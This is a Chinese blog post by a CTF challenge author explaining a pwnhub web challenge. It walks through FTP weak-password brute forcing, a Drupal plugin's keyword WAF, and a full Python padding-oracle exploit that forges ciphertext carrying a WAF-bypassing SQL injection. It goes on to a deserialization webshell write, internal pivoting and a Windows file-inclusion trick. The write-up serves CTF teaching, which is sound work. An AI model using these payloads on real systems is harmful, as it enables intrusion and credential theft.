pwnhub出题小记

pwnhub一直是大佬云集的地方,里面题的质量没话说。那天ven师傅突然找我要合作出题,我是很怕出不好影响pwnhub的名声的,但最后还是接了,为什么呢?因为之前有接触过padding oracle attack觉得挺有趣的,同时之前试过win的文件包含有些小灵感想要分享一下。

信息收集

   nmap扫描一波,发现开放21,22,80端口

尝试匿名访问ftp,失败,尝试ftp弱口令爆破。

得到用户名:test,密码:test123。

这里很多人卡住了,后来不得不一遍一遍的放hint,其实test/test123是在常用ftp字典里的,但是很多人没有去尝试,或者仅仅指定了某个用户名,比如admin,我在看流量的时候真心急啊!为啥不跑一下字典......

而且这里用ftp弱口令也是有原因的,后面的padding 对服务器压力比较大,所以要在这里把大家分散开来。

这里出现一个很严重的非预期,就是vsftp的默认配置居然是允许目录穿越的,因为之前没怎么用过vsftp,所以踩坑了,真的很扎心,被大佬读到密钥了。

ftp登上去后发现一个文件。

下载下来,解压发现是个Drupal8.x的插件,通过README.txt得知:

1. 目前的网站正在使用这个未完成的插件。

2. admin用户的密码被修改,修改后的密码已经发送到他的邮箱中。

接下来审计一下插件的逻辑(功能)部分 

`ArticleController.php`

get_by_id() 函数

public function get_by_id(Request $request){
 $nid = $request->get('id');
 $nid = $this->set_decrpo($nid);
 //echo $nid;
 $this->waf($nid);
 $query = db_query("select nid,title,body_value from node_field_data left join node__body on node_field_data.nid=node__body.entity_id where nid = {$nid}")->fetchAssoc();
 
 return array(
  '#title' => $this->t($query['title']),
  '#markup' => '<p>' . $this->t($query['body_value']) . '</p>',
);

获取到url传入的id,通过aes解密

private function set_decrpo($id){
if($c = base64decode(base64decode($id)))
{
    if($iv = substr($c,0,16))
   {
        if($pass = substr($c,17))
         {		
             if($u = openssl_decrypt($pass, METHOD, SECRET_KEY, OPENSSL_RAW_DATA,$iv))
            {
                 return $u;
            }
             else
                die("haker?bu chun zai de!");
        }
        else
          return 1;
   }
   else
     return 1;
}
else
    return 1;
}

经过一步waf的处理

private function waf($str){

    if(stripos($str," ")!==false)
        die("Be a good person!");
   if(stripos($str,"file")!==false)
        die("Be a good person!");
    if(stripos($str,"/")!==false)
        die("Be a good person!");
    if(stripos($str,"*")!==false)
        die("Be a good person!");
    if(stripos($str,"sleep")!==false)
        die("Be a good person!");
    if(stripos($str,"benchmark")!==false)
        die("Be a good person!");
    if(stripos($str,"md5")!==false)
        die("Be a good person!");
    if(stripos($str,"insert")!==false)
        die("Be a good person!");
    if(stripos($str,"update")!==false)
        die("Be a good person!");
    if(stripos($str,"delete")!==false)
        die("Be a good person!");
    if(stripos($str,"../")!==false)
        die("Be a good person!");
    if(stripos($str,"..\\")!==false)
        die("Be a good person!");
    if(stripos($str,"'")!==false)
        die("Be a good person!");
    if(stripos($str,'"')!==false)
        die("Be a good person!");
    if(stripos($str,"load_file")!==false)
        die("Be a good person!");
    if(stripos($str,"outfile")!==false)
        die("Be a good person!");
    if(stripos($str,"execute")!==false)
        die("Be a good person!");
    if(stripos($str,"#")!==false)
        die("Be a good person!");
    if(stripos($str,"-")!==false)
        die("Be a good person!");
    if(stripos($str,"eval")!==false)
        die("Be a good person!");
    if(stripos($str,"\\")!==false)
        die("Be a good person!");
    if(stripos($str,"&")!==false)
        die("Be a good person!");

  }

    接下来经过另一段waf代入sql语句

$nid = addslashes($nid);
$waf_t = 233;
if(strlen((string)$nid)>16)
{
      $waf_t = "Id number can't too long!";
}
   
$query = db_query("select nid,title,body_value from node_field_data left join node__body on node_field_data.nid=node__body.entity_id where nid = {$nid} and {$waf_t} = 233")->fetchAssoc();

我们不知道私钥,无法构造出加密后的密文,这时候我们看一下加密函数

这里把加密用到的初始向量iv和密文用分隔符隔断放在一起base64两次编码形成最终密文,这就存在着漏洞。

我们可以通过padding oracle attack 获取加密的中间值,再利用中间值伪造任意明文的密文。

http://blog.zhaojie.me/2010/10/padding-oracle-attack-in-detail.html

因为是未完成插件,所以要找到接口需要看下插件路由规则

encrypt_article.routing.yml

/enlist :显示文章列表
/get_en_news_by_id/{id}:执行get_by_id()

扫描目录发现有upload目录

Padding oracle attack & Sql injection

简单说一下攻击的流程和原理:

加密的过程中需要将明文分块,然后选择第一块明文与iv值异或,生成的值经过加密生成第二块加密所需的iv值,以此类推。而根据规定,不足一个对齐粒度的块要进行填充,PCKS#5的填充方式即填充值为不足对齐粒度的字节数。

加密过程

解密过程

在php-openssl_decrypt上,如果检测到填充值不正确就会产生错误,所以我们通过把我们获取到的一整个密文分解出iv和ciper,先把iv置为全0x00,报错,因为最后解密出的最后一字节不为正确的填充字节,所以我们就在此基础上反复修改iv最后一字节,直到解密值最后一字节是正确的填充字节

于是我们通过异或填充字节能求得一个中间值,这个中间值异或任意一个明文当作iv,最后的解密结果就是这个明文。

通过这种方法,我们可以把中间值每一字节都爆破出来。

再说说这道题, openssl_decrypt($pass, METHOD, SECRET_KEY, OPENSSL_RAW_DATA,$iv)

 OPENSSL_RAW_DATA使用的填充模式是PKCS#7,具体填充方式与PKCS#5相同。所以可以利用padding oracle伪造任意明文。

exp:

# -*- coding: utf-8 -*-
    # author: wupco
    import sys
    import string
    import base64
    import requests
    import math
    import re
    from urllib import quote
    url = "http://54.223.191.248/get_en_news_by_id/"
    #cookie = {
    #	'auth':'dMl2LO3x3p3A8PR1DnROJXjA0s3/tr9'
    #}
    encrypt_know_id = "a1IyaUEyNE9RMGpwZFpTaE9FWjNoWHp6RDNsaitDNUgwMm1JYUErYkQ0d04="
    known_id = '4'
    d_cookie = base64.b64decode(base64.b64decode(encrypt_know_id)).encode('hex')
    iv = d_cookie[:32]
    ciper = d_cookie[34:]
    payload = '9'+chr(10)+'union'+chr(10)+'select'+chr(10)+'1,mail,3'+chr(10)+'from`users_field_data`where'+chr(10)+'uid=1'+chr(10)+'or@`'
    feature = ['haker?bu chun zai de!','dwordshot']
    def t_xor(a, b):
    	i = a ^ b
    	t = '0' if len(str(hex(i)))<4 else ''
    	return t+str(hex(i)).replace('0x','')   
    def known_xor_now(m, l, b):
    	if(b == m):
    		b = m - 1
    	s = ""
    	for i in l:
    		s = str(t_xor(i,b)) + s
    	return s
    def get_niv(m, p, i ,l): 
    	b = '0' if len(str(hex(i)))<4 else ''
    	niv = ('00'*(m-p)) + (b+str(hex(i)).replace('0x',''))
    	return niv + known_xor_now(m, l, p)   
    def padding_num(m):
    	return (len(payload)/m) + (1 if len(payload) % m >0 else 0)  
    def request_(url):
    	try:
    		a = requests.get(url)
    		return a
    	except requests.ConnectionError:
    		return request_(url)   
    def brute_mid(mid_len, features, known_id):
    	mid_list = []
    	for i in xrange(1,mid_len+1):
    		for j in xrange(0,256):
    			#print "brute force desc {0} word : chr({1})".format(i,j)
    			nid = quote(base64.b64encode(base64.b64encode((get_niv(mid_len,i,j,mid_list)+'7c'+ciper).decode('hex'))))
    			a = request_(url+nid)
    			#print a.content
    			if(i == mid_len):
    				if(a.content.find(features[1])!=-1):
    					new_mid = j^ord(known_id)
    					mid_list.append(new_mid)
    					break
    				else:
    					continue
    			else:
    				if(a.content.find(features[0])==-1):
    					new_mid = j^i
    					mid_list.append(new_mid)
    					break
    				else:
    					continue   			
    		print mid_list
    	mid_list.reverse()
    	print mid_list
    	print "\n padding ok...\n"
    	return mid_list    
    def f_niv(mid_len,feature,known_id,payload_s):
    	midlist = brute_mid(16,feature,known_id)
    	pay = []
    	for i in xrange(0,len(midlist)):
    		if(i > (len(payload_s) - 1)):
    			pay.append(midlist[i] ^ (len(midlist) - len(payload_s)))
    		else:
    			pay.append(midlist[i] ^ ord(payload_s[i]))
    	s = ""
    	for i in pay:
    		s += str(t_xor(i,0))
    	return s
    def main():
    	padd_num = padding_num(16)
    	if padd_num > 1:
    		s_payload = [payload[i:i+16] for i in xrange(0, len(payload), 16)]
    		s_payload.reverse()
    		ivlist = []
    		global ciper,iv
    		s_ciper = ciper
    		for p in s_payload:
    			iv = f_niv(16,feature,known_id,p)
    			print "\niv:{0}\n".format(iv)
    			ivlist.append(iv)
    			ciper = iv
    		iv = ivlist.pop()
    		ivlist.reverse()
    		print "all ok~~~"
    		return base64.b64encode(base64.b64encode((iv+'7c'+''.join(i for i in ivlist)+s_ciper).decode('hex')))    
    	else:
    		iv = f_niv(16,feature,known_id,payload)
    		print "all ok ~~~"
    		return base64.b64encode(base64.b64encode((iv+'7c'+ciper).decode('hex')))
    print main()

因为这个Drupa密码默认采用sha512搭配salt进行迭代加密,所以解密可能性不大,结合前面搜集的信息,获取到管理员的邮箱,payload为```'9'+chr(10)+'union'+chr(10)+'select'+chr(10)+'1,mail,3'+chr(10)+'from`users_field_data`where'+chr(10)+'uid=1'+chr(10)+'or@`'```。

注意waf1和waf2,waf1拦截几乎所有的注释符,所以可以利用mysql-php 的 `重音符号 自动补全闭合来注释掉后面,绕过waf2的长度限制。

而padding一轮的时间也比较长,所以需要构造尽可能短的payload才行。

拿到邮箱后,根据enlist下有个未发布的文章,邮箱密码是admin888

进入邮箱后,得到腾讯文档分享地址。

查看历史修订记录,里面就有admin的密码

dAs^f#G*dDf@#%gdfjh 

然后登陆后台,根据:

http://paper.seebug.org/334/

首先通过phpinfo拿到绝对路径,然后通过反序列化另一个类把shell写入upload下

/vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php

把cookie的信息存入一个文件中,filename填上webshell的地址

接下来就是文件内容了,通过审计CookieJar这个类,发现可以传入一个cookie信息数组,再通过这个类转成一个cookie对象,然后再传入setCookie这个函数中,就可以给cookies变量赋值了。

然后发现html目录下有flag.txt,里面写着flag在内网中。

WIN->LFI

用arp -a命令探测内网信息,找到内网win主机,开放了80端口。

在首页源码中,我们可以发现incp.php,猜测是LFI,经过测试发现存在waf。

incp.php中备注着部分关键waf。

利用邮箱中获得的密码,我们可以很轻易地进入到后台中,发现后台存在上传页面。上传任意文件都会被move为txt文件,文件名是时间戳。

这里其实用了win下的一个小trick

<123333312.txt>

or

123333<.txt<<

or more

于是最后拿到webshell,读到flag:


  • 用支付宝打我
  • 用微信打我

4条回应:“pwnhub出题小记”

  1. Yiruma说道:

    测试了waf函数,尝试用反撇号闭合没有成功,莫非是我用的mysqli的缘故?用;%00闭合成功了。

发表评论

电子邮件地址不会被公开。 必填项已用*标注